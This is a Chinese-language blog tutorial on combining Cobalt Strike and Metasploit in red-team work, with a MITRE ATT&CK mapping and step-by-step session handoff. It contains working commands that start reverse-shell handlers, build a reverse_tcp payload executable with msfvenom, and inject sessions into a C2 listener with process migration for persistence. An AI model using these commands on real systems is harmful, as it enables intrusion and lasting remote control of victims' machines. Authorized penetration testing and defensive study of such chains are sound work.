[工具篇]Cobalt Strike 与 Metasploit 协同配合技术解析

130 阅读3分钟

引言

在红队演练与渗透测试中,单一工具往往很难兼顾打点速度与持久控制能力。 Cobalt Strike(CS)擅长后渗透管理与隐蔽通信,Metasploit(MSF)则以漏洞利用和多样化 Payload 而闻名。两者结合,可以构建从外网打点到内网控制的完整攻击链,提升团队协作效率与隐蔽性。


两者定位与优势对比

工具核心优势常见场景
Metasploit漏洞利用框架、Payload 生成、快速扫描外网打点、漏洞验证
Cobalt Strike后渗透管理、隐蔽通信、团队协作权限维持、横向渗透、隐匿C2

简而言之:MSF 更像“破门工具”,CS 则是“潜入后长期驻守的指挥所”。


协同配合模式

  1. MSF 打点 → CS 接管会话 先用 MSF 漏洞模块获得初始 Shell,反弹到 CS Listener,利用 CS 进行后续渗透与持久化。
  2. CS Beacon → MSF 利用 CS 建立 Beacon 后,通过 SOCKS 代理让 MSF 在内网中继续利用漏洞。

MITRE ATT&CK 战术阶段映射

顺序MITRE 战术阶段说明对应 CS/MSF 操作
1Reconnaissance(侦察)收集目标网络与主机信息MSF 扫描模块
2Initial Access(初始访问)获取初始入口MSF Exploit 打点
3Command and Control(C2)建立隐蔽通信通道会话转移到 CS Listener
4Lateral Movement(横向移动)渗透内网其他主机CS SOCKS 代理 + MSF 模块
5Persistence(权限维持)长期保持访问能力CS 持久化脚本

典型实战流程

Cobaltstrike派生shell给Metasploit

下面是通过反弹shell连接到CS服务器情况:

image-20250813120441019

  • 在metasploit中开启监听器
use exploit/multi/handler          #选择工具
set payload windows/meterpreter/reverse_http      #设置监听的会话(注意会话类型要和CS的会话一致)
set lhost 192.168.244.140    #设置IP地址(IP地址为kali的监听的机器的IP地址,和CS中保持一致)
set lport 18081             #设置端口(和CS中自定义的端口保持一致)
run                        #开始监听
  • 在CS中配置新的监听器

    Payload选择Foreign HTTP,Host与Port需要添加metasploit中设置的ip与端口,配置好后,点击保存按钮。

image-20250813114703637

然后选择上线的目标机器,凭证提权->新建会话,并选择上面新建的监听器。

image-20250813114758763

image-20250813114834454

  • 在metasploit中的连接信息

image-20250813115512562

  • MSF 收到会话后,即可使用 shell 进入交互模式

image-20250813115528673

Metasploit派生shell给Cobaltstrike

  • 在Metasploit 创建监听器
use exploit/multi/handler          #选择工具
set payload windows/x64/meterpreter/reverse_tcp      #设置监听的会话(注意与playload一致)
set lhost 192.168.244.140    #设置IP地址(IP地址为kali的监听的机器的IP地址,和playload中保持一致)
set lport 18083            #设置端口(和playload中自定义的端口保持一致)
run                        #开始监听
  • 创建playload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.244.140 LPORT=18083 -f exe > msfshell.exe
  • 把playload放到测试目标机上执行

image-20250814112856608

  • 在CS中添加对应的监听器

image-20250814121828930

  • 在msf中执行转发命令
meterpreter > background
use exploit/windows/local/payload_inject 
set payload windows/meterpreter/reverse_http
set lhost 192.168.244.140 # 填cs服务器ip
set lport 28084				# 填cs服务器端口
set session 2				#通过sessions -q查看刚连接上的session
set DisablePayloadHandler True 
    # 这个选项会让MSF避免在其内起一个handler来服务你的payload连接,就是告诉MSF我们已经建立了监听器,不需要再新建监听器了
set PrependMigrate True
    # 这个设置让MSF前置的shellcode在另一个进程当中运行payload stager,如果被利用的应用程序奔溃或者被用户关闭,这个会帮助Beacon会话存活。
run

image-20250814122344588

  • CS中目标服务器上线

image-20250814122314000

流程可视化

攻击链流程图

flowchart TD
    A[Reconnaissance - 信息收集 - MSF 扫描探测]
    B[Initial Access - 漏洞利用 - MSF Exploit]
    C[Command and Control - 会话转移 - CS Listener]
    D[Lateral Movement - 内网渗透 - CS SOCKS + MSF 模块]
    E[Persistence - 权限维持 - CS 持久化脚本]

    A --> B --> C --> D --> E

    style A fill:#f4b183,stroke:#333,stroke-width:1px
    style B fill:#f4b183,stroke:#333,stroke-width:1px
    style C fill:#ffd966,stroke:#333,stroke-width:1px
    style D fill:#9dc3e6,stroke:#333,stroke-width:1px
    style E fill:#a9d18e,stroke:#333,stroke-width:1px

结语

CS 与 MSF 的组合,构建了“打点 + 控制”的完整攻击链,能极大提升渗透效率和隐蔽性。但在合法授权前提下使用这些技术,既能发现系统薄弱环节,也能帮助防御方完善安全策略。